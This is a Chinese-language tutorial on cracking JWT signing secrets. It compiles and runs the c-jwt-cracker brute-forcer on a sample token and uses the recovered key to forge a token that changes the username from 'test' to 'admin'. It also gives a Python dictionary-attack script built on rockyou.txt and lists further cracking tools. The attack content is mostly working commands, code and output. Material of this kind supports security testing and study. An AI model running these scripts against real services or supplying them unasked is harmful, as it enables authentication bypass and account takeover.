jwt暴力破解和字典破解

JWT(JSON Web Tokens)分为三个部分:

  • 头部(Header):包含了令牌的元数据,并且包含签名和/或加密算法的类型。
  • 声明(Claims):包含了实体(通常指用户)以及额外的元数据。
  • 签名(Signature):用于验证发送者的信息并确保消息没有被篡改。

这三个部分通过英文句号.连接在一起,形成了JWT。每个部分都是使用Base64URL编码的,这使得JWT可以方便地在网络环境中传输。

本文将介绍jwt的暴力破解和字典破解方法。

0x01 安装pyjwt

pip install pyjwt
# 如果import jwt然后使用报错AttributeError: module 'jwt' has no attribute 'decode'
# 这是因为装错成pip install jwt

0x02 安装jwtcrack

jwtcrack:JWT brute force cracker written in C

git clone https://github.com/brendan-rius/c-jwt-cracker
cd c-jwt-cracker

# 不能直接make
# 否则运行还会报Cannot initialize the default message digest sha256, aborting
apt-get install -y libssl-dev
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
# 就会在目录下生成jwtcrack

使用jwtcrack爆破key值

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.80ohpphZmbBgvim4l1wJwDj5bynPlBfshTtHsrcELx0
# 得到
Secret is "6a423"

生成新的jwt

#!/usr/bin/env python3
import jwt

alg = 'HS256'
# 原本是test,这里伪造成admin
claims = {'username': 'admin'}
key = '6a423'

print(jwt.encode(claims, key, alg))

0x03 jwt字典爆破

以上的jwtcrack当key值的长度过大时就不适合直接爆破,这时候就可以考虑字典爆破。

这里得先准备一个字典文件,我选择了Kali Linux的rockyou.txt

cp /usr/share/wordlists/rockyou.txt.gz .
gzip -d rockyou.txt.gz
# 获得rockyou.txt

(以下代码是以往收集的,小改下)

#!/usr/bin/env python3
# pip3 install pyjwt termcolor
import jwt
import termcolor

jwt_str = R'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTAzNDgzMzMsInVzZXJuYW1lIjoiMTMwMDAwMDUifQ.wpkLNdbGwB8nFyVXw2nJvpRWRN5pSpZPLIAkGRzw198'
alg = 'HS256'
passwd_txt = 'rockyou.txt'

with open(passwd_txt) as f:
    for line in f:
        key_ = line.strip()
        try:
            jwt.decode(jwt_str, verify=True, key=key_, algorithms=alg)
            print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
            print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
            break
        except jwt.exceptions.InvalidSignatureError:
            print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
            continue
    else:
        print('\r', '\bsorry! no key be found.')
    pass

# bingo! found key --> 123456789 <--

0x04 其他github项目

(罗列几个项目,有空自己尝试)

  • jwt_tool :A toolkit for testing, tweaking and cracking JSON Web Tokens
  • JWTPyCrack:JWT 弱口令 Key 爆破以及生成 NONE 加密的无 Key 的 JWTString